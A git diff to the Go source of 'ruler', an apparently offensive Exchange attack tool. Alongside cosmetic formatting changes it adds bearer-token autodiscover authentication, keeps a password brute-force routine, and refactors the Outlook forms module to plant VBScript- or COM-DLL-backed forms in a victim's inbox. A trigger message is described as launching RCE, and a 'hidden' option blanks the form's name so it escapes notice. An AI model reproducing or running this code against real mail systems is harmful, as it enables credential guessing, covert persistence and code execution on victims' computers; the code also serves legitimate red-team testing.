diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index 86635c3..554bf0d 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -13,20 +13,20 @@ import ( "strings" "text/template" - "github.com/sensepost/ruler/http-ntlm" + httpntlm "github.com/sensepost/ruler/http-ntlm" "github.com/sensepost/ruler/utils" ) //globals -//SessionConfig holds the configuration for this autodiscover session +// SessionConfig holds the configuration for this autodiscover session var SessionConfig *utils.Session var autodiscoverStep int var secondaryEmail string //a secondary email to use, edge case seen in office365 var Transport http.Transport var basicAuth = false -//the xml for the autodiscover service +// the xml for the autodiscover service const autodiscoverXML = ` {{.Email}} http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a @@ -43,10 +43,10 @@ func parseTemplate(tmpl string) (string, error) { return buff.String(), nil } -//createAutodiscover generates a domain name of the format autodiscover.domain.com -//and checks if a DNS entry exists for it. If it doesn't it tries DNS for just the domain name. -//returns an empty string if no valid domain was found. -//returns the full (expected) autodiscover URL +// createAutodiscover generates a domain name of the format autodiscover.domain.com +// and checks if a DNS entry exists for it. If it doesn't it tries DNS for just the domain name. +// returns an empty string if no valid domain was found. +// returns the full (expected) autodiscover URL func createAutodiscover(domain string, https bool) string { _, err := net.LookupHost(domain) if err != nil { @@ -58,7 +58,7 @@ func createAutodiscover(domain string, https bool) string { return fmt.Sprintf("http://%s/autodiscover/autodiscover.xml", domain) } -//GetMapiHTTP gets the details for MAPI/HTTP +// GetMapiHTTP gets the details for MAPI/HTTP func GetMapiHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, error) { //var resp *utils.AutodiscoverResp var err error @@ -87,7 +87,7 @@ func GetMapiHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils return resp, rawAutodiscover, nil } -//GetRPCHTTP exports the RPC details for RPC/HTTP +// GetRPCHTTP exports the RPC details for RPC/HTTP func GetRPCHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, string, string, bool, error) { //var resp *utils.AutodiscoverResp var err error @@ -190,7 +190,7 @@ func GetRPCHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils. return resp, rawAutodiscover, RPCURL, user, ntlmAuth, nil } -//CheckCache checks to see if there is a stored copy of the autodiscover record +// CheckCache checks to see if there is a stored copy of the autodiscover record func CheckCache(email string) *utils.AutodiscoverResp { //check the cache folder for a stored autodiscover record email = strings.Replace(email, "@", "_", -1) @@ -215,7 +215,7 @@ func CheckCache(email string) *utils.AutodiscoverResp { return &autodiscoverResp } -//CreateCache function stores the raw autodiscover record to file +// CreateCache function stores the raw autodiscover record to file func CreateCache(email, autodiscover string) { if autodiscover == "" { //no autodiscover record passed in, don't try write @@ -240,7 +240,7 @@ func CreateCache(email, autodiscover string) { } } -//Autodiscover function to retrieve mailbox details using the autodiscover mechanism from MS Exchange +// Autodiscover function to retrieve mailbox details using the autodiscover mechanism from MS Exchange func Autodiscover(domain string) (*utils.AutodiscoverResp, string, error) { if SessionConfig.Proxy == "" { Transport = http.Transport{ @@ -258,8 +258,8 @@ func Autodiscover(domain string) (*utils.AutodiscoverResp, string, error) { return autodiscover(domain, false) } -//MAPIDiscover function to do the autodiscover request but specify the MAPI header -//indicating that the MAPI end-points should be returned +// MAPIDiscover function to do the autodiscover request but specify the MAPI header +// indicating that the MAPI end-points should be returned func MAPIDiscover(domain string) (*utils.AutodiscoverResp, string, error) { //set transport if SessionConfig.Proxy == "" { @@ -286,7 +286,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er //var client http.Client client := http.Client{Transport: &Transport} - if SessionConfig.Basic == false { + if SessionConfig.Basic == false && SessionConfig.BearerToken == "" { //check if this is a first request or a redirect //create an ntml http client @@ -342,9 +342,13 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er req.Header.Add("X-AnchorMailbox", SessionConfig.Email) //we want MAPI info } + if SessionConfig.BearerToken != "" { + req.Header.Add("Authorization", "Bearer "+SessionConfig.BearerToken) + } + if SessionConfig.Basic == true { if SessionConfig.Domain != "" { - req.SetBasicAuth(SessionConfig.Domain + "\\" + SessionConfig.User, SessionConfig.Pass) + req.SetBasicAuth(SessionConfig.Domain+"\\"+SessionConfig.User, SessionConfig.Pass) } else { req.SetBasicAuth(SessionConfig.Email, SessionConfig.Pass) } @@ -491,7 +495,7 @@ func redirectAutodiscover(redirdom string) (string, error) { return resp.Header.Get("Location"), nil } -//InsecureRedirectsO365 allows forwarding the Authorization header even when we shouldn't +// InsecureRedirectsO365 allows forwarding the Authorization header even when we shouldn't type InsecureRedirectsO365 struct { Transport http.RoundTripper User string @@ -499,9 +503,9 @@ type InsecureRedirectsO365 struct { Insecure bool } -//RoundTrip custom redirector that allows us to forward the auth header, even when the domain changes. -//This is needed as some office365 domains will redirect from autodiscover.domain.com to autodiscover.outlook.com -//and Go does not forward Sensitive headers such as Authorization (https://golang.org/src/net/http/client.go#41) +// RoundTrip custom redirector that allows us to forward the auth header, even when the domain changes. +// This is needed as some office365 domains will redirect from autodiscover.domain.com to autodiscover.outlook.com +// and Go does not forward Sensitive headers such as Authorization (https://golang.org/src/net/http/client.go#41) func (l InsecureRedirectsO365) RoundTrip(req *http.Request) (resp *http.Response, err error) { t := l.Transport diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 2468304..cb692c5 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -6,16 +6,16 @@ import ( "io/ioutil" "net/http" "net/http/cookiejar" + "net/url" "regexp" "strings" "time" - "net/url" - "github.com/sensepost/ruler/http-ntlm" + httpntlm "github.com/sensepost/ruler/http-ntlm" "github.com/sensepost/ruler/utils" ) -//Result struct holds the result of a bruteforce attempt +// Result struct holds the result of a bruteforce attempt type Result struct { Username string Password string @@ -114,7 +114,7 @@ func autodiscoverDomain(domain string) string { return "" } -//Init function to setup the brute-force session +// Init function to setup the brute-force session func Init(domain, usersFile, passwordsFile, userpassFile, pURL, u, n string, b, i, s, v bool, c, d, t int) error { stopSuccess = s insecure = i @@ -133,7 +133,6 @@ func Init(domain, usersFile, passwordsFile, userpassFile, pURL, u, n string, b, return fmt.Errorf("No autodiscover end-point found") } - if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" { basic = true } @@ -157,16 +156,16 @@ func Init(domain, usersFile, passwordsFile, userpassFile, pURL, u, n string, b, return nil } -//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL -//And whether to stop on success +// BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL +// And whether to stop on success func BruteForce() { attempts := 0 stp := false for index, p := range passwords { - if index % 10 == 0 { - utils.Info.Printf("%d of %d passwords checked",index,len(passwords)) + if index%10 == 0 { + utils.Info.Printf("%d of %d passwords checked", index, len(passwords)) } if p != "" { attempts++ @@ -251,15 +250,15 @@ func BruteForce() { } } -//UserPassBruteForce function does a bruteforce using a supplied user:pass file +// UserPassBruteForce function does a bruteforce using a supplied user:pass file func UserPassBruteForce() { count := 0 sem := make(chan bool, concurrency) stp := false for index, up := range userpass { - if index % 10 == 0 { - utils.Info.Printf("%d of %d checked",index,len(userpass)) + if index%10 == 0 { + utils.Info.Printf("%d of %d checked", index, len(userpass)) } count++ if up == "" { @@ -324,7 +323,7 @@ func readFile(filename string) []string { return outputs } -func connect(autodiscoverURL, user, password string, basic, insecure bool) Result { +func connect(autodiscoverURL, user string, password string, basic bool, insecure bool) Result { result := Result{user, password, -1, -1, nil} cookie, _ := cookiejar.New(nil) @@ -339,7 +338,7 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul return result } tr = &http.Transport{Proxy: http.ProxyURL(proxy), - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, DisableKeepAlives: true, } } diff --git a/forms/rulerforms.go b/forms/rulerforms.go index d2580b2..527e9c0 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -11,47 +11,70 @@ import ( "github.com/sensepost/ruler/utils" ) -//CreateFormAttachmentPointer creates the first attachment that holds info about the new form -func CreateFormAttachmentPointer(folderid, messageid []byte) error { - utils.Info.Println("Create Form Pointer Attachment") - data := []byte("FormStg=%d\\FS525C.tmp\nMsgCls=IPM.Note.grr\nBaseMsgCls=IPM.Note\n") //don't think this is strictly necessary - data = append(data, []byte{0x00}...) +// CreateFormAttachmentPointer creates the first attachment that holds info about the new form +func CreateFormAttachmentPointer(folderid, messageid []byte, data string, classType []byte) error { + utils.Info.Println("Create Form Pointer Attachment with data: ", data) + dataBytes := append([]byte(data), 0x00) // Convert string data to bytes and append trailing null attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4) attachmentPropertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachMethod, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} attachmentPropertyTags[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagRenderingPosition, PropertyValue: []byte{0xFF, 0xFF, 0xFF, 0xFF}} - attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: []byte{0x02, 0x00, 0x01, 0x00}} //prop value used by PidTagOfflineAddressBookTruncatedProps - attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6902, PropertyValue: data} + attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: classType} // Use classType for PidTag6900 prop - Not sure what this is + attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6902, PropertyValue: dataBytes} res, err := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags) if err != nil { return err } //write the payload data to the attachment - _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data) + _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, dataBytes) return err } -//CreateFormAttachmentTemplate creates the template attachment holding the actual command to execute -func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error { - return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formtemplate.bin") +// CreateFormAttachmentPointerForScript passes the specific pointer type for VBScript forms +func CreateFormAttachmentPointerForScript(folderid, messageid []byte, attachmentName string, classname string) error { + return CreateFormAttachmentPointer(folderid, messageid, fmt.Sprintf("FormStg=%%d\\%s\nMsgCls=IPM.Note.%s\nBaseMsgCls=IPM.Note\n", attachmentName, classname), []byte{0x02, 0x00, 0x01, 0x00}) +} + +// CreateFormAttachmentPointerForCOM passes the specific pointer type for COM backed forms +func CreateFormAttachmentPointerForCOM(folderid, messageid []byte, clsid []byte, dllname string) error { + clsidString, _ := utils.GuidToString(clsid) + return CreateFormAttachmentPointer(folderid, messageid, fmt.Sprintf("\\CLSID\\%s\\InprocServer32=%%d\\%s", clsidString, dllname), []byte{0x01, 0x00, 0x01, 0x00}) +} + +// CreateFormAttachmentTemplateForString creates the template attachment holding the actual command to execute +func CreateFormAttachmentTemplateForString(folderid, messageid []byte, payload string, attachmentName string) error { + return CreateFormAttachmentForScriptWithTemplate(folderid, messageid, payload, "templates/formtemplate.bin", attachmentName) } -//CreateFormAttachmentForDeleteTemplate creates the template attachment holding the actual command to execute -func CreateFormAttachmentForDeleteTemplate(folderid, messageid []byte, pstr string) error { - return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formdeletetemplate.bin") +// CreateFormAttachmentForScriptWithDeleteTemplate creates the template attachment holding the actual command to execute +func CreateFormAttachmentForScriptWithDeleteTemplate(folderid, messageid []byte, payload string, attachmentName string) error { + return CreateFormAttachmentForScriptWithTemplate(folderid, messageid, payload, "templates/formdeletetemplate.bin", attachmentName) } -//CreateFormAttachmentWithTemplate creates a form with a specific template -func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, templatepath string) error { +// CreateFormAttachment creates a form attachment with the specified data +func CreateFormAttachment(folderid, messageid []byte, attachmentName string, data []byte, classType []byte) error { utils.Info.Println("Create Form Template Attachment") attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4) attachmentPropertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachMethod, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} //attach directly attachmentPropertyTags[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagRenderingPosition, PropertyValue: []byte{0xFF, 0xFF, 0xFF, 0xFF}} - attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachFilename, PropertyValue: utils.UniString("FS525C.tmp")} //a fake file name. this could probably be used as a mini signature ;) - attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: []byte{0x02, 0x00, 0x01, 0x00}} //this is the prop that seems to be used in the PidTagOfflineAddressBookTruncatedProps + attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachFilename, PropertyValue: utils.UniString(attachmentName)} + attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: classType} res, _ := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags) + var err error + _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data) + return err +} + +// CreateFormAttachmentForCOM creates a form attachment with the specified data with the COM classType +func CreateFormAttachmentForCOM(folderid, messageid []byte, attachmentName string, data []byte) error { + return CreateFormAttachment(folderid, messageid, attachmentName, data, []byte{0x01, 0x00, 0x01, 0x00}) +} + +// CreateFormAttachmentForScriptWithTemplate creates a script based form with a specific template +func CreateFormAttachmentForScriptWithTemplate(folderid, messageid []byte, payload string, templatepath string, attachmentName string) error { + //read the template file for our payload datafull, err := utils.ReadFile(templatepath) if err != nil { @@ -75,22 +98,80 @@ func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, template return fmt.Errorf("Couldn't find MAGIC string in template. Ensure you have a valid template.") } //create our payload - payload := utils.UniString(pstr) //convert to Unicode string - payload = payload[:len(payload)-2] //get rid of null byte - remainder := 4096 - len(pstr) //calculate the length of our padding. - rpr := utils.UniString(strings.Repeat(" ", remainder)) //generate padding - payload = append(payload, rpr[:len(rpr)-2]...) //append padding (with null byte removed) to payload - data := append([]byte{}, datafull[:index]...) //create new array with our template up to the index. doing it this way to force new array creation - data = append(data, payload...) // append our payload+padding - data = append(data, datafull[index+5:]...) //and append what is remaining of the template - - //write the template data into the attachment data field - _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data) - return err + payloadBytes := utils.UniString(payload) //convert to Unicode string + payloadBytes = payloadBytes[:len(payloadBytes)-2] //get rid of null byte + remainder := 4096 - len(payload) //calculate the length of our padding. + rpr := utils.UniString(strings.Repeat(" ", remainder)) //generate padding + payloadBytes = append(payloadBytes, rpr[:len(rpr)-2]...) //append padding (with null byte removed) to payloadBytes + data := append([]byte{}, datafull[:index]...) //create new array with our template up to the index. doing it this way to force new array creation + data = append(data, payloadBytes...) // append our payloadBytes+padding + data = append(data, datafull[index+5:]...) //and append what is remaining of the template + + //use the generic CreateFormAttachment to write the attachment + return CreateFormAttachment(folderid, messageid, attachmentName, data, []byte{0x02, 0x00, 0x01, 0x00}) } -//CreateFormMessage creates the associate message that holds the form data -func CreateFormMessage(suffix, assocRule string) ([]byte, error) { +// CreateFormMessageForCOM creates the associate message that holds the form data for COM backed forms +func CreateFormMessageForCOM(className string, clsid []byte, displayName string, assocRule string, hidden bool) ([]byte, error) { + var err error + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + + // Critical props - as we believe + properties := []mapi.TaggedPropertyValue{ + {PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")}, + {PropertyTag: mapi.PidTagOfflineAddressBookName, PropertyValue: utils.UniString(className)}, + {PropertyTag: mapi.PidTagOfflineAddressBookTruncatedProps, PropertyValue: []byte{0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x05, 0x00, 0x01, 0x00}}, + {PropertyTag: mapi.PidTagOABDN, PropertyValue: clsid}, + {PropertyTag: mapi.PidTagOfflineAddressBookContainerGuid, PropertyValue: utils.UniString("Form")}, + {PropertyTag: mapi.PidTagOfflineAddressBookSequence, PropertyValue: utils.UniString("Standard")}, + {PropertyTag: mapi.PidTagOfflineAddressBookLangID, PropertyValue: []byte{0x00, 0x00, 0x00, 0x00}}, + {PropertyTag: mapi.PidTagOfflineAddressBookFileType, PropertyValue: []byte{0x00}}, + {PropertyTag: mapi.PidTag6827, PropertyValue: append([]byte("en"), []byte{0x00}...)}, + {PropertyTag: mapi.PidTagOABCompressedSize, PropertyValue: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + } + + // Prop 682C + tempDataBuffer := utils.EncodeNum(uint32(4)) // COUNT as a uint32 instead of the usual uint16 + tempDataBuffer = append(tempDataBuffer, utils.EncodeNum(uint64(281479271743489))...) // static + tempDataBuffer = append(tempDataBuffer, utils.EncodeNum(uint64(281483566710785))...) // static + tempDataBuffer = append(tempDataBuffer, utils.EncodeNum(uint64(281487861678081))...) // static + tempDataBuffer = append(tempDataBuffer, utils.EncodeNum(uint64(281496451612673))...) // static + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag682C, PropertyValue: tempDataBuffer}) + + // Prop 0x6831 + tempDataBuffer = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6831, PropertyValue: append(utils.COUNT(len(tempDataBuffer)), tempDataBuffer...)}) + + // Prop 0x6832 + tempDataBuffer = []byte{0x0C, 0x0D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6832, PropertyValue: append(utils.COUNT(len(tempDataBuffer)), tempDataBuffer...)}) + + if assocRule != "" { + // Set this to indicate that a rule is present for this form + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)}) + } + + if hidden { + // Keep the name "invisible" - there will be an entry in the ,UI but it will be appear blank - since it's simply a space + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDisplayName, PropertyValue: utils.UniString(" ")}) + // Some tricks from the original function + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}}) + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}}) + } else { + properties = append(properties, mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDisplayName, PropertyValue: utils.UniString(displayName)}) + } + + // Create the message in the "associated" contents table for the inbox + msg, err := mapi.CreateAssocMessage(folderid, properties) + if err != nil { + return nil, err + } + + return msg.MessageID, err +} + +// CreateFormMessageForScript creates the associate message that holds the form data for VBScript forms +func CreateFormMessageForScript(suffix, assocRule string) ([]byte, error) { folderid := mapi.AuthSession.Folderids[mapi.INBOX] propertyTagx := make([]mapi.TaggedPropertyValue, 10) var err error @@ -151,15 +232,14 @@ func CreateFormMessage(suffix, assocRule string) ([]byte, error) { propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6824, PropertyValue: append(utils.COUNT(len(data)), data...)} propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6827, PropertyValue: append([]byte("en"), []byte{0x00}...)} //Set language value propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABCompressedSize, PropertyValue: []byte{0x20, 0xF0, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}} //fixed value, not sure how this is calculated or if it can be kept static. - propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABDN, PropertyValue: utils.CookieGen()} //generate a random GUID - + propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABDN, PropertyValue: utils.GenerateUUID()} //generate a random GUID _, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx) return msg.MessageID, err } -//CreateFormTriggerMessage creates a valid message to trigger RCE through an existing form -//requires a valid suffix to be supplied +// CreateFormTriggerMessage creates a valid message to trigger RCE through an existing form +// requires a valid suffix to be supplied func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) { folderid := mapi.AuthSession.Folderids[mapi.INBOX] propertyTagx := make([]mapi.TaggedPropertyValue, 8) @@ -186,7 +266,7 @@ func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) { return msg.MessageID, nil } -//DeleteForm is used to delete a specific form stored in an associated table +// DeleteForm is used to delete a specific form stored in an associated table func DeleteForm(suffix string, folderid []byte) ([]byte, error) { columns := make([]mapi.PropertyTag, 3) @@ -198,33 +278,37 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { if err != nil { return nil, err } - var foundMsgID []byte - var hasRule string + + var ruleName string = "" + var messageid []byte for k := 0; k < len(assoctable.RowData); k++ { if assoctable.RowData[k][0].Flag != 0x00 { continue } + name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) - messageid := assoctable.RowData[k][1].ValueArray + if name != "" && name == fmt.Sprintf("IPM.Note.%s", suffix) { - foundMsgID = messageid - hasRule = utils.FromUnicode(assoctable.RowData[k][2].ValueArray) + messageid = assoctable.RowData[k][1].ValueArray + if assoctable.RowData[k][2].Flag == 0x00 { + ruleName = utils.FromUnicode(assoctable.RowData[k][2].ValueArray) + } break } } - if len(foundMsgID) == 0 { + + if len(messageid) == 0 { return nil, fmt.Errorf("No form with supplied suffix found!") } - //delete the message - if _, err = mapi.DeleteMessages(folderid, 1, foundMsgID); err != nil { + if _, err = mapi.DeleteMessages(folderid, 1, messageid); err != nil { return nil, err } utils.Info.Println("Form deleted successfully.") - if hasRule != "NORULE" && hasRule != "" { - utils.Question.Print("The form has an associated rule, delete this? [y/N]: ") + if ruleName != "NORULE" && ruleName != "" { + utils.Question.Printf("The form has an associated rule (%q), delete this? [y/N]: ", ruleName) reader := bufio.NewReader(os.Stdin) ans, _ := reader.ReadString('\n') if ans == "y\n" || ans == "Y\n" || ans == "yes\n" { @@ -233,7 +317,7 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { return nil, er } for _, v := range rules { - if utils.FromUnicode(v.RuleName) == hasRule { + if utils.FromUnicode(v.RuleName) == ruleName { ruleid := v.RuleID err = mapi.ExecuteMailRuleDelete(ruleid) if err != nil { @@ -244,14 +328,14 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { } } } else { - utils.Info.Printf("Rule not deleted. To delete rule, use rule name [%s]\n", hasRule) + utils.Info.Printf("Rule not deleted. To delete rule, use rule name [%s]\n", ruleName) } } return nil, nil } -//DisplayForms is used to display all forms in the specified folder +// DisplayForms is used to display all forms in the specified folder func DisplayForms(folderid []byte) error { columns := make([]mapi.PropertyTag, 2) @@ -284,9 +368,9 @@ func DisplayForms(folderid []byte) error { return nil } -//CheckForm verfies that a form does not already exist. -//having multiple forms with same suffix causes issues in outlook.. -func CheckForm(folderid []byte, suffix string) error { +// CheckForm verfies that a form does not already exist. +// having multiple forms with same suffix causes issues in outlook.. +func CheckForm(folderid []byte, className string) error { columns := make([]mapi.PropertyTag, 2) columns[0] = mapi.PidTagOfflineAddressBookName columns[1] = mapi.PidTagMid @@ -296,16 +380,14 @@ func CheckForm(folderid []byte, suffix string) error { return err } - formname := fmt.Sprintf("IPM.Note.%s", suffix) - for k := 0; k < len(assoctable.RowData); k++ { if assoctable.RowData[k][0].Flag != 0x00 { continue } //utils.Debug.Println(assoctable.RowData[k][0].ValueArray) name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) - if name != "" && name == formname { - return fmt.Errorf("Form with suffix [%s] already exists. You can not have multiple forms with the same suffix.", formname) + if name != "" && name == className { + return fmt.Errorf("Form with suffix [%s] already exists. You can not have multiple forms with the same suffix.", className) } } return nil diff --git a/mapi/constants.go b/mapi/constants.go index 8540fba..94afb59 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -7,7 +7,7 @@ import ( "github.com/sensepost/ruler/utils" ) -//ErrorCode returns the mapi error code encountered +// ErrorCode returns the mapi error code encountered type ErrorCode struct { ErrorCode uint32 } @@ -16,7 +16,7 @@ func (e *ErrorCode) Error() string { return fmt.Sprintf("mapi: non-zero return value. ERROR_CODE: %x - %s", e.ErrorCode, ErrorMapiCode{mapicode(e.ErrorCode)}) } -//TransportError returns the mapi error code encountered +// TransportError returns the mapi error code encountered type TransportError struct { ErrorValue error } @@ -52,7 +52,7 @@ const ( ropFlagsChain = 0x0004 //[]byte{0x04, 0x00} //LittleEndian 0x0004 ) -//OpenFlags +// OpenFlags const ( UseAdminPrivilege = 0x00000001 Public = 0x00000002 @@ -65,7 +65,7 @@ const ( SupportProgress = 0x20000000 ) -//Property Data types +// Property Data types const ( PtypInteger16 = 0x0002 PtypInteger32 = 0x0003 @@ -86,7 +86,7 @@ const ( PtypObject = 0x000D ) -//Folder id/locations -- https://msdn.microsoft.com/en-us/library/office/cc815825.aspx +// Folder id/locations -- https://msdn.microsoft.com/en-us/library/office/cc815825.aspx // ^ this seems to lie const ( TOP = 0 //Contains outgoing IPM messages. @@ -104,7 +104,7 @@ const ( SHORTCUTS = 12 ) -//Message status flags +// Message status flags const ( MSRemoteDownload = 0x00001000 MSInConflict = 0x00000800 @@ -290,7 +290,7 @@ func (e mapicode) String() string { return "CODE_NOT_FOUND" } -//ErrorMapiCode provides a mapping of uint32 error code to string +// ErrorMapiCode provides a mapping of uint32 error code to string type ErrorMapiCode struct { X mapicode } @@ -387,180 +387,180 @@ const ( //Find these in [MS-OXPROPS] -//PidTagRuleID the TaggedPropertyValue for rule id +// PidTagRuleID the TaggedPropertyValue for rule id var PidTagRuleID = PropertyTag{PtypInteger64, 0x6674} -//PidTagRuleName the TaggedPropertyValue for rule id +// PidTagRuleName the TaggedPropertyValue for rule id var PidTagRuleName = PropertyTag{PtypString, 0x6682} -//PidTagRuleSequence the TaggedPropertyValue for rule id +// PidTagRuleSequence the TaggedPropertyValue for rule id var PidTagRuleSequence = PropertyTag{PtypInteger32, 0x6676} -//PidTagRuleState the TaggedPropertyValue for rule id +// PidTagRuleState the TaggedPropertyValue for rule id var PidTagRuleState = PropertyTag{PtypInteger32, 0x6677} -//PidTagRuleCondition the TaggedPropertyValue for rule id +// PidTagRuleCondition the TaggedPropertyValue for rule id var PidTagRuleCondition = PropertyTag{PtypRestriction, 0x6679} -//PidTagRuleActions the TaggedPropertyValue for rule id +// PidTagRuleActions the TaggedPropertyValue for rule id var PidTagRuleActions = PropertyTag{PtypRuleAction, 0x6680} -//PidTagRuleProvider the TaggedPropertyValue for rule id +// PidTagRuleProvider the TaggedPropertyValue for rule id var PidTagRuleProvider = PropertyTag{PtypString, 0x6681} -//PidTagRuleProviderData the TaggedPropertyValue for rule id +// PidTagRuleProviderData the TaggedPropertyValue for rule id var PidTagRuleProviderData = PropertyTag{PtypBinary, 0x6684} -//PidTagRuleLevel the TaggedPropertyValue for rule level +// PidTagRuleLevel the TaggedPropertyValue for rule level var PidTagRuleLevel = PropertyTag{PtypInteger32, 0x6683} -//PidTagRuleUserFlags the TaggedPropertyValue for rule user flags +// PidTagRuleUserFlags the TaggedPropertyValue for rule user flags var PidTagRuleUserFlags = PropertyTag{PtypInteger32, 0x6678} -//PidTagParentFolderID Contains a value that contains the Folder ID +// PidTagParentFolderID Contains a value that contains the Folder ID var PidTagParentFolderID = PropertyTag{PtypInteger64, 0x6749} -//PidTagAccess indicates operations available +// PidTagAccess indicates operations available var PidTagAccess = PropertyTag{PtypInteger32, 0x0ff4} -//PidTagMemberName contains user-readable name of the user +// PidTagMemberName contains user-readable name of the user var PidTagMemberName = PropertyTag{PtypBinary, 0x6672} -//PidTagDefaultPostMessageClass contains message class of the object +// PidTagDefaultPostMessageClass contains message class of the object var PidTagDefaultPostMessageClass = PropertyTag{PtypString, 0x36e5} -//PidTagDisplayName display name of the folder +// PidTagDisplayName display name of the folder var PidTagDisplayName = PropertyTag{PtypString, 0x3001} -//PidTagEntryID display name of the folder +// PidTagEntryID display name of the folder var PidTagEntryID = PropertyTag{PtypBinary, 0x0FFF} -//PidTagEmailAddress display name of the folder +// PidTagEmailAddress display name of the folder var PidTagEmailAddress = PropertyTag{PtypString, 0x3003} -//PidTagAddressType display name of the folder +// PidTagAddressType display name of the folder var PidTagAddressType = PropertyTag{PtypString, 0x3001} -//PidTagFolderType specifies the type of folder that includes the root folder, +// PidTagFolderType specifies the type of folder that includes the root folder, var PidTagFolderType = PropertyTag{PtypInteger32, 0x3601} -//PidTagFolderID the ID of the folder +// PidTagFolderID the ID of the folder var 